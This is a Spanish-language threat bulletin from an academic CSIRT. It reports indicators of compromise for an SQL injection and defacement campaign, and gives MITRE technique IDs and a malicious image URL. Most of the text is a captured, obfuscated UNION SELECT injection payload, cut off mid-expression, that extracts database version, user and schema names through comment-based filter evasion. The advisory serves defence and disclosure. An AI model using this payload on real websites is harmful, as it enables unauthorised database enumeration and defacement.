

Boletín de Ciberseguridad

Septiembre 12 de 2023

COMUNICADO DE INDICADORES DE COMPROMISO DE TÉCNICA DE ATAQUE DE PROCESOS DE INYECCION

Técnica Mitre:	T1055 T1491
URL detectado:	https://1.bp.blogspot.com/- ui9y_7kjZQQ/X65oQ5mMZ4I/AAAAAAAAADA/E7NzB1nhbpQn1J1 mNGOX3Zx8WtJSrP5AwCLcBGAsYHQ/s320/20201113_170028.p ng
TLP:	BLANCO

El CSIRT Académico UNAD informa acerca de un asunto de ciberseguridad que ha sido abordado por este Equipo. Se ha identificado un vector de ataque relacionado con técnicas de SQL Injection y Defacement dirigido a sitios web. Es preciso indicar que estos tipos de ataque busca inyectar código en los procesos para evadir las defensas y realizar modificaciones o alterar el contenido de un sitio de web de forma no autorizada. Se ha realizado la respectiva indagación y se han reconocido una serie de indicadores de compromiso (IoCs) asociados con este.

Indicadores de compromiso:

IP o URL detectada:	https://1.bp.blogspot.com/-ui9y_7kjZQQ/X65oQ5mMZ4I/AAAAAAAAADA/E7NzB1nhbpQn1J1mNGOX3Zx8WtJSrP5AwCLcBGAsYHQ/s320/20201113_170028.png
Veredicto:	Actividad maliciosa
Fecha del análisis:	Septiembre 12 de 2023 - Hora 10:49
Contenido ofuscado:	<pre>AND 0 UNION SELECT /*!50000cOncat/**Darknet- Haxor***/(0x223e273e3c2f7469746c653e,0x3c703e3c62723e3c6120687265663d22 23223e3c696d67207469746c653d224841584f522207372633d2268747470733a2f2 f312e62702e626c6f6773706f742e636f6d2f2d756939795f376b6a5a51512f5836356f5 1356d4d5a34492f41414141414141414144412fa5374e7a42316e686270516e314a31 6d4e474f58335a783857744a537250354177434c63424741735948512f733332302f3 2303230313131335f3137303032382e706e6722206865696768743d2231353022207 7696474683d22313530222f3e3c2f613e3c2f703e3c62723e3c666f6e7420636f6c6f72 3d22726564223e3c623e496e6a656374656420627920,0x756e6f7a65726f,0x3c2f623 e3c2f666f6e743e3c62723e3c62723e,0x3c666f6e7420636f6c6f723d22626c7565223 e,0x56455253494f4e3a3a20,/*!50000VerSiOn/**Darknet- Haxor***/(),0x3c62723e,0x555345523a3a20,/*!50000UsEr/**Darknet- Haxor***/(),0x3c62723e,0x44415441424153453a3a20,/*!50000DaTabaSe/**Darknet - Haxor***/(),0x3c62723e,0x3c62723e,0x544f54414c2044415441424153453a3a20,0x 3c62723e,(SeLECT(@w)/*!50000FrOM/**Darknet- Haxor***/(/*!50000SeLECT/**Darknet-Haxor***/(@w:=0x00) ,(SeLECT(@w)/*!50000FrOM/**Darknet- Haxor***/(/*!50000InFoRMATIoN_SChEmA/**Darknet- Haxor***/(.SChEmaTA)/*!50000WhErE/**Darknet- Haxor***/((@w)IN(@w:=/*!50000CoNCaT/**Darknet- Haxor***/(0x20,@w,0x3c666f6e7420636f6c6f723d22726564223e2d2d2d2d2d2d3e2 03c2f666f6e743e,/*!50000sCheMa_NaMe/**Darknet- Haxor***/(,0x3c62723e))))w),0x3c62723e,0x3c62723e,0x555345522050524956494c 4547453a3a20,0x3c62723e,(SeLECT(@z)/*!50000FrOM/**Darknet-</pre>

